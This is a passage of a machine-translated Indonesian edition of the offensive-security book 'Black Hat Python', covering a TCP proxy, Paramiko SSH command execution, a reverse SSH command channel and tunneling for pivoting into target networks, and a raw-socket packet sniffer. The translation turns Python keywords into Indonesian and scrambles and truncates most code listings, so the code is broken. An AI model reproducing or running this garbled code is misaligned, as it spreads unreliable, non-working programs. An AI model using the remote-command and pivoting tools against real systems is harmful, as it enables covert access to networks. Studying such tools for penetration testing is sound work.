representasi string setiap karakter dengan karakter terkait dalam string mentah (dapat
dicetak) 4. Demikian pula, kami mengganti representasi hex dari nilai integer setiap
karakter dalam string mentah (heksa). Terakhir, kita membuat array baru untuk
menampung string, hasil, yang berisi nilai hex dari indeks byte pertama dalam kata,
nilai hex dari kata tersebut, dan representasi yang dapat dicetak 5. Outputnya terlihat
seperti ini :
Fungsi ini memberi kita cara untuk mengawasi komunikasi yang terjadi
melalui proxy secara real time. Sekarang mari kita buat fungsi yang kedua ujung
proxy akan gunakan untuk menerima data:
def terima_dari(koneksi):
penyangga = b""
1 koneksi.settimeout(5)
mencoba:
sementara Benar:
2 data = koneksi.recv(4096)
jika bukan data:
merusak
penyangga += data
kecuali Pengecualian sebagai e:
lulus
penyangga kembali
Untuk menerima data lokal dan jarak jauh, kami meneruskan objek soket yang
akan digunakan. Kami membuat string byte kosong, buffer, yang akan mengumpulkan
respons dari soket 1. Secara default, kami menetapkan batas waktu lima detik, yang
mungkin agresif jika Anda mem-proxy lalu lintas ke negara lain atau melalui jaringan
yang lossy, jadi tingkatkan batas waktu seperlunya. Kami menyiapkan loop untuk
membaca data respons ke dalam buffer 2 hingga tidak ada lagi data atau waktu habis.
Terakhir, kami mengembalikan string byte buffer ke pemanggil, yang dapat berupa mesin lokal atau
jarak jauh.
Terkadang Anda mungkin ingin mengubah paket respons atau permintaan
sebelum proxy mengirimkannya. Mari tambahkan beberapa fungsi (request_handler
dan respon_handler) untuk melakukan hal itu:
def permintaan_handler(penyangga):
# melakukan modifikasi paket
penyangga kembali
def respon_handler(penyangga):
# melakukan modifikasi paket
penyangga kembali
Jaringan: Dasar-dasar 21
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Di dalam fungsi-fungsi ini, Anda dapat memodifikasi isi paket, melakukan tugas fuzzing,
menguji masalah otentikasi, atau melakukan apa pun yang diinginkan hati Anda. Hal ini dapat
berguna, misalnya, jika Anda menemukan kredensial pengguna teks biasa sedang dikirim dan
ingin mencoba meningkatkan hak istimewa pada aplikasi dengan memasukkan admin , bukan
nama pengguna Anda sendiri.
Mari selami fungsi proxy_handler sekarang dengan menambahkan kode berikut:
2 jika menerima_pertama:
remote_buffer = terima_dari(remote_socket)
hexdump(jarak_buffer)
3 remote_buffer = respon_handler(remote_buffer)
jika len(remote_buffer):
print("[<==] Mengirim %d byte ke localhost." % len(remote_buffer))
client_socket.kirim(remote_buffer)
sementara Benar:
local_buffer = terima_dari(client_socket)
jika len(local_buffer):
line = "[==>]Menerima %d byte dari localhost." % len(lokal_
penyangga)
cetak (garis)
hexdump(buffer_lokal)
local_buffer = permintaan_handler(local_buffer)
remote_socket.kirim(local_buffer)
print("[==>] Dikirim ke jarak jauh.")
remote_buffer = terima_dari(remote_socket)
jika len(remote_buffer):
print("[<==] Menerima %d byte dari jarak jauh." % len(remote_buffer))
hexdump(jarak_buffer)
remote_buffer = respon_handler(remote_buffer)
client_socket.kirim(remote_buffer)
print("[<==] Dikirim ke localhost.")
Fungsi ini berisi sebagian besar logika untuk proksi kita. Untuk memulai,
kita terhubung ke host jarak jauh 1. Kemudian kita periksa untuk memastikan kita tidak perlu
memulai koneksi ke sisi jarak jauh terlebih dahulu dan meminta data sebelum masuk ke loop
utama 2. Beberapa daemon server akan mengharapkan Anda melakukan ini (FTP server biasanya
mengirim banner terlebih dahulu, misalnya). Kami kemudian
22 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
gunakan fungsi terima_dari untuk kedua sisi komunikasi. Ia menerima objek soket
yang terhubung dan melakukan penerimaan. Kami membuang isi paket sehingga
kami dapat memeriksanya untuk mencari sesuatu yang menarik. Selanjutnya,
kita menyerahkan output ke fungsi respon_handler 3 dan kemudian mengirimkan
buffer yang diterima ke klien lokal. Kode proxy lainnya sangatlah mudah: kita
menyiapkan loop untuk terus membaca dari klien lokal, memproses data,
mengirimkannya ke klien jarak jauh, membaca dari klien jarak jauh, memproses
data, dan mengirimkannya ke klien lokal sampai kami tidak lagi mendeteksi
data apa pun. Ketika tidak ada data untuk dikirim pada kedua sisi koneksi 4,
kami menutup soket lokal dan jarak jauh dan keluar dari loop.
Mari kita kumpulkan fungsi server_loop untuk menyiapkan dan mengelola
koneksi:
def server_loop(host_lokal,port_lokal,
remote_host, remote_port, terima_pertama):
1 server = soket.socket(socket.AF_INET, soket.SOCK_STREAM)
mencoba:
2 server.bind((local_host, local_port))
kecuali Pengecualian sebagai e:
print('masalah pada pengikatan: %r' % e)
sys.keluar(0)
cetak (garis)
# memulai thread untuk berbicara dengan host jarak jauh
4 proxy_thread = threading.Thread(
target=proxy_handler,
args=(client_socket, remote_host,
remote_port, terima_pertama))
proxy_thread.mulai()
def utama():
jika len(sys.argv[1:]) != 5:
print("Penggunaan: ./proxy.py [localhost] [localport]", end='')
print("[host jarak jauh] [porting jarak jauh] [terima_pertama]")
print("Contoh: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 Benar")
Jaringan: Dasar-dasar 23
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
sys.keluar(0)
local_host = sys.argv[1]
local_port = int(sys.argv[2])
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
terima_pertama = sys.argv[5]
terima_pertama = Salah
server_loop(host_lokal,port_lokal,
remote_host, remote_port, terima_pertama)
Dalam fungsi utama , kita mengambil beberapa argumen baris perintah dan kemudian
menjalankan loop server yang mendengarkan koneksi.
Menendang Ban
Sekarang kita sudah memiliki loop proksi inti dan fungsi pendukungnya, mari kita uji pada server
FTP. Jalankan proxy dengan opsi berikut:
Kami menggunakan sudo di sini karena port 21 adalah port yang memiliki hak istimewa, jadi
mendengarkannya memerlukan hak administratif atau root. Sekarang luncurkan klien FTP apa pun
dan atur untuk menggunakan localhost dan port 21 sebagai host dan port jarak jauhnya. Tentu
saja, Anda ingin mengarahkan proxy Anda ke server FTP yang benar-benar akan merespons Anda.
Saat kami menjalankan ini pada server FTP pengujian, kami mendapatkan hasil berikut:
24 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Anda dapat dengan jelas melihat bahwa kami berhasil menerima larangan FTP.
ner dan kirimkan nama pengguna dan kata sandi, dan keluar dengan bersih.
Jaringan: Dasar-dasar 25
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Berputar dengan BHNET, pengganti netcat yang kami buat, cukup berguna, namun terkadang lebih
bijaksana untuk mengenkripsi lalu lintas Anda untuk menghindari deteksi. Cara umum untuk
melakukannya adalah dengan melakukan terowongan lalu lintas menggunakan Secure Shell
(SSH). Namun bagaimana jika target Anda tidak memiliki klien SSH, seperti 99,81943 persen
sistem Windows?
Meskipun ada klien SSH hebat yang tersedia untuk Windows, seperti PuTTY, ini adalah buku
tentang Python. Dengan Python, Anda dapat menggunakan soket mentah dan beberapa keajaiban
kripto untuk membuat klien atau server SSH Anda sendiri—tetapi mengapa harus membuatnya jika
Anda dapat menggunakan kembali? Paramiko, yang menggunakan PyCrypto, memberi Anda akses
mudah ke protokol SSH2.
Untuk mempelajari cara kerja perpustakaan ini, kita akan menggunakan Paramiko untuk
membuat koneksi dan menjalankan perintah pada sistem SSH, mengkonfigurasi server SSH dan
klien SSH untuk menjalankan perintah jarak jauh pada mesin Windows, dan terakhir memecahkan
demo terowongan terbalik file yang disertakan dengan Paramiko untuk menduplikasi opsi proxy
BHNET. Mari kita mulai.
Pertama, ambil Paramiko menggunakan penginstal pip (atau unduh dari http:// www
.paramiko.org/):
Kami akan menggunakan beberapa file demo nanti, jadi pastikan Anda mengunduhnya juga
dari repo GitHub Paramiko (https:// github.com/ paramiko/
paramik).
Buat file baru bernama ssh_cmd.py dan masukkan yang berikut ini:
impor paramiko
26 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Kami membuat fungsi bernama ssh_command 1, yang membuat koneksi ke server SSH
dan menjalankan satu perintah. Perhatikan bahwa Paramiko mendukung otentikasi dengan kunci,
bukan (atau sebagai tambahan) otentikasi kata sandi. Anda harus menggunakan otentikasi kunci
SSH dalam interaksi nyata, tetapi untuk kemudahan penggunaan dalam contoh ini, kami akan
tetap menggunakan otentikasi nama pengguna dan kata sandi tradisional.
Karena kami mengendalikan kedua ujung koneksi ini, kami menetapkan kebijakan untuk
menerima kunci SSH untuk server SSH yang kami sambungkan ke 2 dan membuat koneksi. Dengan
asumsi koneksi telah dibuat, kami menjalankan perintah 3
yang kami teruskan dalam panggilan ke fungsi ssh_command . Kemudian, jika perintah menghasilkan
keluaran, kami mencetak setiap baris keluaran.
Di blok utama, kami menggunakan modul baru, getpass 4. Anda dapat menggunakannya
untuk mendapatkan nama pengguna dari lingkungan saat ini, tetapi karena nama pengguna kami
berbeda di kedua mesin, kami secara eksplisit meminta nama pengguna di baris perintah. Kami
kemudian menggunakan fungsi getpass untuk meminta kata sandi (responnya tidak akan
ditampilkan di konsol untuk membuat frustrasi peselancar bahu mana pun). Kemudian kita
mendapatkan IP, port, dan perintah (cmd) untuk dijalankan dan mengirimkannya untuk dieksekusi5.
Mari kita jalankan tes cepat dengan menghubungkan ke server Linux kami:
% python ssh_cmd.py
Nama pengguna: tim
Kata sandi:
Masukkan IP server: 192.168.1.203
Masukkan port atau <CR>: 22
Masukkan perintah atau <CR>: id
--- Keluaran ---
uid=1000(tim) gid=1000(tim) grup=1000(tim),27(sudo)
Anda akan melihat bahwa kami terhubung dan kemudian menjalankan perintah. Anda dapat
dengan mudah memodifikasi skrip ini untuk menjalankan beberapa perintah di server SSH, atau
menjalankan perintah di beberapa server SSH.
Setelah dasar-dasarnya selesai, mari ubah skrip agar dapat menjalankan perintah pada klien
Windows melalui SSH. Tentu saja, saat menggunakan SSH, Anda biasanya menggunakan klien SSH
untuk menyambung ke server SSH, namun karena sebagian besar versi Windows tidak menyertakan
server SSH, kita perlu membalikkannya dan mengirimkan perintah dari server SSH. Server SSH ke
klien SSH.
Buat file baru bernama ssh_rcmd.py dan masukkan yang berikut ini:
impor paramiko
impor shlex
subproses impor
ssh_session = klien.get_transport().open_session()
jika ssh_session.aktif:
ssh_session.kirim(perintah)
Jaringan: Dasar-dasar 27
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
print(ssh_session.recv(1024).decode()) sementara
Benar:
command = ssh_session.recv(1024) 1 kali coba:
cmd
= command.decode() if cmd ==
'exit':
klien.close() istirahat
Program dimulai seperti yang terakhir, dan hal baru dimulai pada loop while
True:. Dalam loop ini, alih-alih menjalankan satu perintah, seperti yang kita lakukan
pada contoh sebelumnya, kita mengambil perintah dari koneksi 1, menjalankan perintah
2, dan mengirim output apa pun kembali ke pemanggil 3.
Juga, perhatikan bahwa perintah pertama yang kami kirimkan adalah ClientConnected 4. Anda akan melakukannya
lihat alasannya ketika kita membuat ujung lain dari koneksi SSH.
Sekarang mari kita menulis sebuah program yang membuat server SSH untuk
klien SSH kita (tempat kita akan menjalankan perintah) untuk terhubung. Ini bisa
berupa sistem Linux, Windows, atau bahkan macOS yang menginstal Python dan Paramiko.
Buat file baru bernama ssh_server.py dan masukkan yang berikut ini:
impor os
impor paramiko
impor soket impor
sys impor
threading
CWD = os.path.dirname(os.path.realpath(__file__))
1 HOSTKEY = paramiko.RSAKey(nama file=os.path.join(CWD, 'test_rsa.key'))
28 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 3
sock.bind((server, ssh_port) ) sock.listen(100)
print('[+] Mendengarkan
koneksi ...') klien, addr = sock.accept() kecuali Pengecualian
sebagai e: print('[-] Dengarkan gagal:
sys.exit(1) lain: print('[+] Ada
'
koneksi!', klien, addr) + jalan)
4 bhSession = paramiko.Transport(klien)
bhSession.add_server_key(HOSTKEY) server
= Server()
bhSession.start_server(server=server)
chan.send('exit')
print('exiting')
bhSession.close()
istirahat
kecuali KeyboardInterrupt:
bhSession.close()
Untuk contoh ini, kami menggunakan kunci SSH yang disertakan dalam file demo
Paramiko 1. Kami memulai pendengar soket 3, seperti yang kami lakukan sebelumnya
di bab ini, lalu “inisasi SSH” 2 dan konfigurasikan metode otentikasi 4 . Ketika
klien telah mengautentikasi 5 dan mengirimi kami pesan ClientConnected 6, apa pun
Jaringan: Dasar-dasar 29
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
perintah yang kita ketik ke server ssh (mesin yang menjalankan ssh_server.py) dikirim
ke klien ssh (mesin yang menjalankan ssh_rcmd.py) dan dieksekusi di
klien ssh, yang mengembalikan output ke server ssh. Mari kita mencobanya.
Menendang Ban
Untuk demonya, kami akan menjalankan klien di mesin Windows kami (penulis) dan
server di Mac. Di sini kita memulai server:
% python ssh_server.py
[+] Mendengarkan koneksi ...
Anda dapat melihat bahwa klien berhasil terhubung, dan pada saat itu kami
menjalankan beberapa perintah. Kami tidak melihat apa pun di klien SSH, tetapi perintah
yang kami kirim dieksekusi di klien dan hasilnya dikirim ke SSH kami
server.
Penerowongan SSH
Di bagian terakhir, kami membuat alat yang memungkinkan kami menjalankan perintah
dengan memasukkannya ke klien SSH di server SSH jarak jauh. Teknik lainnya adalah
dengan menggunakan terowongan SSH. Alih-alih mengirimkan perintah ke server,
terowongan SSH akan mengirimkan lalu lintas jaringan yang dikemas dalam SSH, dan
server SSH akan membongkar dan mengirimkannya.
Bayangkan Anda berada dalam situasi berikut: Anda memiliki akses jarak jauh
ke server SSH di jaringan internal, tetapi Anda ingin akses ke server web di jaringan
yang sama. Anda tidak dapat mengakses server web secara langsung. Server yang
sudah terinstal SSH memang memiliki akses, namun server SSH ini tidak memiliki tools
yang ingin Anda gunakan.
30 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Salah satu cara untuk mengatasi masalah ini adalah dengan menyiapkan terowongan SSH ke depan .
Ini akan memungkinkan Anda untuk, misalnya, menjalankan perintah ssh -L 8008:web:80 justin@sshserver
untuk terhubung ke server SSH sebagai pengguna “justin” dan mengatur port 8008 pada sistem lokal Anda. Apa
pun yang Anda kirim ke port 8008 akan melewati terowongan SSH yang ada ke server SSH, yang akan
mengirimkannya ke server web. Gambar 2-1 menunjukkan tindakan ini.
127.0.0.1
Pelabuhan 8008
server SSH
klien SSH
server web
Tampilan sederhana dalam menjalankan perintah
ssh -L 8008:web:80 justin@sshserver Jaringan sasaran
Itu cukup keren, tapi ingat bahwa tidak banyak sistem Windows yang menjalankan layanan server SSH.
Namun tidak semuanya hilang. Kita dapat mengkonfigurasi koneksi tunneling SSH terbalik . Dalam hal ini, kami
terhubung ke server SSH kami sendiri dari klien Windows dengan cara biasa. Melalui koneksi SSH tersebut,
kami juga menentukan port jarak jauh di server SSH yang disalurkan ke host dan port lokal, seperti yang
ditunjukkan pada Gambar 2-2. Kita dapat menggunakan host dan port lokal ini, misalnya, untuk mengekspos
port 3389 agar dapat mengakses sistem internal menggunakan Remote Desktop atau untuk mengakses sistem
lain yang dapat diakses oleh klien Windows (seperti server web dalam contoh kita).
127.0.0.1
Pelabuhan 8008
klien SSH
server SSH
server web
Tampilan sederhana dalam menjalankan perintah
ssh -L 8008:web:80 justin@sshserver Jaringan sasaran
Jaringan: Dasar-dasar 31
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
def main():
opsi, server, remote = parse_options() 1 kata sandi = Tidak
ada jika
options.readpass: kata
sandi = getpass.getpass('Masukkan kata sandi SSH: ') klien =
paramiko.SSHClient() 2
klien.load_system_host_keys()
klien .set_missing_host_key_policy(paramiko.WarningPolicy())
pengguna=pilihan.pengguna ,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys, kata
sandi=kata sandi
coba:
reverse_forward_tunnel( 3 opsi.port,
jarak jauh[0], jarak jauh[1], klien.get_transport()
) kecuali KeyboardInterrupt:
print('Cc: Penerusan port dihentikan.') sys.exit(0)
Beberapa baris di atas 1 periksa kembali untuk memastikan semua argumen yang diperlukan
diteruskan ke skrip sebelum menyiapkan koneksi klien Paramiko SSH 2 (yang seharusnya terlihat
sangat familiar). Bagian terakhir di main() memanggil fungsi reverse_forward_tunnel 3.
32 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
thr.setDaemon(Benar)
thr.start()
Di Paramiko, ada dua metode komunikasi utama: transport, yang bertanggung jawab untuk
membuat dan memelihara koneksi terenkripsi, dan saluran, yang bertindak seperti soket untuk
mengirim dan menerima data melalui sesi transport terenkripsi. Di sini kita mulai menggunakan
request_port_ forward Paramiko untuk meneruskan koneksi TCP dari port 1 di server SSH dan
memulai saluran transport baru 2. Kemudian, melalui saluran tersebut, kita memanggil fungsi
handler 3.
Tapi kita belum selesai. Kita perlu mengkodekan fungsi handler untuk mengelola
komunikasi untuk setiap thread:
) sementara Benar: 1
r, w, x = select.select([sock, chan], [], []) jika kaus kaki di r:
data = sock.recv(1024) if
len(data) == 0: break
chan.send(data)
jika chan di r: data
= chan.recv(1024) jika len(data)
== 0: rusak
sock.send(data)
chan.close()
sock.close()
verbose('Terowongan ditutup dari %r' % (chan.origin_addr,))
Dan terakhir data terkirim dan diterima 1. Kita coba di bagian selanjutnya.
Jaringan: Dasar-dasar 33
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Menendang Ban
Kami akan menjalankan rforward.py dari sistem Windows kami dan mengkonfigurasinya menjadi
perantara saat kami menyalurkan lalu lintas dari server web ke server Kali SSH kami:
Anda dapat melihatnya di mesin Windows, kami membuat koneksi ke server SSH di
192.168.1.203 dan membuka port 8081 di server itu, yang akan meneruskan lalu lintas ke
192.168.1.207 port 3000. Sekarang jika kita browsing ke http:// 127.0 .0.1:8081 di server
Linux kami, kami terhubung ke server web di 192.168.1.207:3000 melalui terowongan SSH,
seperti yang ditunjukkan pada Gambar 2-3.
Jika Anda kembali ke mesin Windows, Anda juga dapat melihat koneksi dibuat di
Paramiko:
Terhubung! Terowongan terbuka ('127.0.0.1', 54690) -> ('192.168.1.203', 22) -> ('192.168.1.207', 3000)
SSH dan SSH tunneling adalah konsep penting untuk dipahami dan digunakan. Topi
hitam harus mengetahui kapan dan bagaimana melakukan terowongan SSH dan SSH, dan
Paramiko memungkinkan untuk menambahkan kemampuan SSH ke alat Python Anda yang
sudah ada.
Kami telah membuat beberapa alat yang sangat sederhana namun sangat berguna
dalam bab ini. Kami mendorong Anda untuk memperluas dan memodifikasinya seperlunya
untuk mengembangkan pemahaman yang kuat tentang fitur jaringan Python. Anda dapat
menggunakan alat ini selama uji penetrasi, pasca eksploitasi, atau berburu bug. Mari beralih
menggunakan soket mentah dan melakukan sniffing jaringan. Lalu kita akan menggabungkan
keduanya untuk membuat pemindai penemuan host Python murni.
34 Bab 2
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
3
JARINGAN : RAWSOCKETS
DAN MENGendus
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Namun di bawah protokol tingkat yang lebih tinggi ini terdapat blok bangunan yang menentukan
bagaimana paket jaringan dikirim dan diterima. Anda akan menggunakan soket mentah untuk
mengakses informasi jaringan tingkat rendah, seperti header Internet Protocol (IP) dan Internet
Control Message Protocol (ICMP). Kami tidak akan memecahkan kode informasi Ethernet apa pun
dalam bab ini, tetapi jika Anda bermaksud melakukan serangan tingkat rendah, seperti keracunan
ARP, atau sedang mengembangkan alat penilaian nirkabel, Anda harus mengenal frame Ethernet
dan penggunaannya secara mendalam.
Mari kita mulai dengan panduan singkat tentang cara menemukan host aktif di segmen
jaringan.
Kami juga dapat membangun logika tambahan ke dalam pemindai kami untuk memulai
pemindaian port Nmap secara penuh pada host mana pun yang kami temukan. Dengan begitu,
kami dapat menentukan apakah mereka memiliki permukaan serangan jaringan yang layak.
Ini adalah latihan yang tersisa untuk pembaca, dan kami sebagai penulis menantikan beberapa
cara kreatif untuk memperluas konsep inti ini. Mari kita mulai.
36 Bab 3
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
1
atur beberapa tanda tambahan melalui kontrol input/output soket (IOCTL),
yang mengaktifkan mode promiscuous pada antarmuka jaringan. Dalam contoh pertama,
kita cukup menyiapkan sniffer soket mentah, membaca dalam satu paket, lalu keluar:
soket impor
impor mereka
def utama():
# buat soket mentah, masukkan ke antarmuka publik
jika os.nama == 'nt':
soket_protokol = soket.IPPROTO_IP
kalau tidak:
soket_protokol = soket.IPPROTO_ICMP
Kita mulai dengan mendefinisikan HOST IP ke alamat mesin kita sendiri dan membangun
objek soket kita dengan parameter yang diperlukan untuk mengendus paket pada antarmuka
jaringan kita 1. Perbedaan antara Windows dan Linux adalah bahwa Windows akan
memungkinkan kita untuk mengendus semua paket yang masuk. dari pro-tocol, sedangkan
Linux memaksa kita untuk menentukan bahwa kita sedang mengendus paket ICMP.
Perhatikan bahwa kami menggunakan mode promiscuous, yang memerlukan hak administratif
di Windows atau root di Linux. Mode promiscuous memungkinkan kita mengendus semua
paket yang dilihat kartu jaringan, bahkan paket yang tidak ditujukan untuk host spesifik kita.
Kemudian kami menetapkan opsi soket 2 yang menyertakan header IP dalam paket yang
kami ambil. Langkah 3 berikutnya adalah menentukan apakah kita menggunakan Windows
dan, jika demikian, lakukan langkah tambahan dengan mengirimkan IOCTL ke driver kartu
jaringan untuk mengaktifkan mode promiscuous. Jika Anda menjalankan Windows di
mesin virtual, kemungkinan besar Anda akan mendapat pemberitahuan bahwa tamu
1. Kontrol input/ output (IOCTL) adalah sarana bagi program ruang pengguna untuk berkomunikasi
dengan komponen mode kernel. Silakan baca di sini: http:// en.wikipedia.org/ wiki/ Ioctl.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
sistem operasi mengaktifkan mode promiscuous; Anda, tentu saja, akan mengizinkannya.
Sekarang kita siap untuk melakukan beberapa sniffing, dan dalam hal ini kita hanya mencetak seluruh
paket mentah 4 tanpa decoding paket. Ini hanya untuk menguji untuk memastikan inti kode sniffing
kami berfungsi. Setelah satu paket diendus, kami menguji lagi untuk Windows dan kemudian
menonaktifkan mode promis-cuous 5 sebelum keluar dari skrip.
Menendang Ban
Buka terminal baru atau shell cmd.exe di Windows dan jalankan perintah berikut:
python sniffer.py
Di terminal atau jendela shell lain, Anda memilih host untuk melakukan ping. Di sini, kami akan
melakukan ping ke nostarch.com:
ping nostarch.com
(b'E\x00\x00T\xad\xcc\x00\x00\x80\x01\n\x17h\x14\xd1\x03\xac\x10\x9d\x9d\x00\
x00g,\rv\x00\x01\xb6L\x1b^\x00\x00\x00\x00\xf1\xde\t\x00\x00\x00\x00\x00\x10\
x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567', ('104.20.209.3', 0))
Anda dapat melihat bahwa kami telah menangkap permintaan ping ICMP awal yang ditujukan
untuk nostarch.com (berdasarkan tampilan IP untuk nostarch.com, 104.20.209.3, di akhir
keluaran). Jika Anda menjalankan contoh ini di Linux, Anda akan menerima respons dari
nostarch.com.
Mengendus satu paket tidak terlalu berguna, jadi mari tambahkan beberapa fungsi untuk
memproses lebih banyak paket dan memecahkan kode isinya.
Menguraikan Lapisan IP
Dalam bentuknya yang sekarang, sniffer kami menerima semua header IP, bersama dengan protokol
yang lebih tinggi seperti TCP, UDP, atau ICMP. Informasi tersebut dikemas dalam bentuk biner
dan, seperti yang ditunjukkan sebelumnya, cukup sulit untuk dipahami.
Mari kita bekerja memecahkan kode bagian IP suatu paket sehingga kita dapat mengambil informasi
berguna darinya, seperti jenis protokol (TCP, UDP, atau ICMP) serta alamat IP sumber dan tujuan.
Ini akan menjadi landasan untuk penguraian protokol lebih lanjut nanti.
Jika kita memeriksa seperti apa paket sebenarnya di jaringan, Anda harus memahami
bagaimana kita perlu memecahkan kode paket masuk. Lihat Gambar 3-1 untuk susunan header
IP.
38 Bab 3
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
protokol internet
Sedikit
HDR
0 Versi: kapan Panjang Jenis Layanan Panjang total
32 Identifikasi Bendera Pengimbangan Fragmen
96 Alamat IP Sumber
160 Pilihan
Modul ctypes
Cuplikan kode berikut mendefinisikan kelas baru, IP, yang dapat membaca paket
dan mengurai header ke dalam kolom terpisah:
*
dari soket impor
impor ctypes
impor struktur
kelas IP (Struktur):
_bidang_ = [
("ihl", c_ubita, 4), # 4 bit karakter yang tidak ditandatangani
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Kelas ini membuat struktur _fields_ untuk mendefinisikan setiap bagian dari
header IP. Strukturnya menggunakan tipe C yang didefinisikan dalam modul ctypes .
Misalnya tipe c_ubtye adalah unsigned char, tipe c_ushort adalah unsigned short,
dan seterusnya. Anda dapat melihat bahwa setiap bidang cocok dengan diagram header
IP pada Gambar 3-1. Setiap deskripsi bidang memerlukan tiga argumen: nama
bidang (misalnya ihl atau offset), jenis nilai yang digunakan (misalnya c_ubyte atau
c_ushort), dan lebar bit untuk bidang tersebut (misalnya 4 untuk ihl dan versi ). Mampu
menentukan lebar bit sangat berguna karena memberikan kebebasan untuk
menentukan panjang apa pun yang kita perlukan, tidak hanya pada tingkat byte
(spesifikasi pada tingkat byte akan memaksa bidang yang ditentukan untuk selalu
kelipatan 8 bit).
Kelas IP mewarisi dari kelas Struktur modul ctypes , yang menetapkan bahwa kita harus
memiliki struktur _fields_ yang ditentukan sebelum membuat objek apa pun. Untuk mengisi
struktur _fields_ , kelas Structure menggunakan __new__
metode, yang mengambil referensi kelas sebagai argumen pertama. Ini membuat dan
mengembalikan objek kelas, yang diteruskan ke metode __init__ . Saat kita
membuat objek IP, kita akan melakukannya seperti biasa, namun di bawahnya, Python
memanggil __new__, yang mengisi struktur data _fields_ segera sebelum objek dibuat
(saat metode __init__ dipanggil). Selama Anda telah mendefinisikan strukturnya
sebelumnya, Anda cukup meneruskan metode __new__ ke data paket jaringan eksternal,
dan bidang tersebut akan muncul secara ajaib sebagai atribut objek Anda.
Anda sekarang memiliki gagasan tentang cara memetakan tipe data C ke nilai header IP.
Menggunakan kode C sebagai referensi saat menerjemahkan ke objek Python dapat bermanfaat,
karena konversi ke Python murni berjalan lancar. Lihat ctypesnya
dokumentasi untuk rincian lengkap tentang bekerja dengan modul ini.
40 Bab 3
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Modul struct
Modul struct menyediakan karakter format yang dapat Anda gunakan untuk
menentukan struktur data biner. Dalam contoh berikut, kita akan sekali lagi
mendefinisikan kelas IP untuk menyimpan informasi header. Namun kali ini, kita
akan menggunakan karakter format untuk mewakili bagian header:
impor alamat IP
impor struktur
IP kelas:
def __init__(mandiri, buff=Tidak ada):
header = struct.unpack('<BBHHHBBH4s4s', buff)
1 diri.ver = tajuk[0] >> 4
2 self.ihl = tajuk[0] & 0xF
self.tos = tajuk[1]
diri.len = tajuk[2]
diri.id = tajuk[3]
mandiri.offset = tajuk[4]
diri.ttl = tajuk[5]
self.protocol_num = tajuk[6]
mandiri.sum = tajuk[7]
diri.src = tajuk[8]
diri.dst = tajuk[9]
Karakter format pertama (dalam kasus kami, <) selalu menentukan endianness
data, atau urutan byte dalam bilangan biner. Tipe C direpresentasikan dalam
format asli mesin dan urutan byte. Dalam hal ini, kita menggunakan Kali (x64),
yang merupakan little-endian. Dalam mesin little-endian, byte terkecil disimpan
di alamat bawah, dan byte paling signifikan di alamat tertinggi.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Dari byte pertama data header yang kami terima, kami ingin menetapkan ver
hanya variabel nybble tingkat tinggi (nibble pertama dalam byte). Cara umum untuk
mendapatkan nybble tingkat tinggi dari sebuah byte adalah dengan menggeser byte ke
kanan sebanyak empat tempat, yang setara dengan menambahkan empat angka nol di
depan byte, menyebabkan empat bit terakhir turun 1. Ini meninggalkan kita hanya dengan
gigitan pertama dari byte asli. Kode Python pada dasarnya melakukan hal berikut:
0 1 0 1 0 1 1 0 >> 4
-----------------------------
0 0 0 0 0 1 0 1
Kita ingin menetapkan variabel hdrlen sebagai nybble orde rendah , atau empat
bit terakhir dari byte. Cara umum untuk mendapatkan nybble kedua dari sebuah byte
adalah dengan menggunakan operator Boolean AND dengan 0xF (00001111) 2. Ini
menerapkan operasi Boolean sehingga 0 AND 1 menghasilkan 0 (karena 0 setara
dengan FALSE dan 1 setara dengan TRUE ). Agar ekspresi menjadi benar, bagian
pertama dan bagian terakhir harus benar. Oleh karena itu, operasi ini menghapus empat
bit pertama, karena apa pun yang diberi AND dengan 0 akan menjadi 0. Empat bit
terakhir tidak diubah, karena apa pun yang diberi AND dengan 1 akan mengembalikan nilai aslinya.
Pada dasarnya, kode Python memanipulasi byte sebagai berikut:
0 1 0 1 0 1 1 0
DAN 0 0 0 0 1 1 1 1
-----------------------------
0 0 0 0 0 1 1 0
Anda tidak perlu tahu banyak tentang manipulasi biner untuk memecahkan kode
header IP, namun Anda akan melihat pola tertentu, seperti penggunaan shift dan AND
berulang kali saat Anda menjelajahi kode peretas lain, jadi ada baiknya memahami
teknik tersebut.
Dalam kasus seperti ini yang memerlukan sedikit perubahan, mendekode data
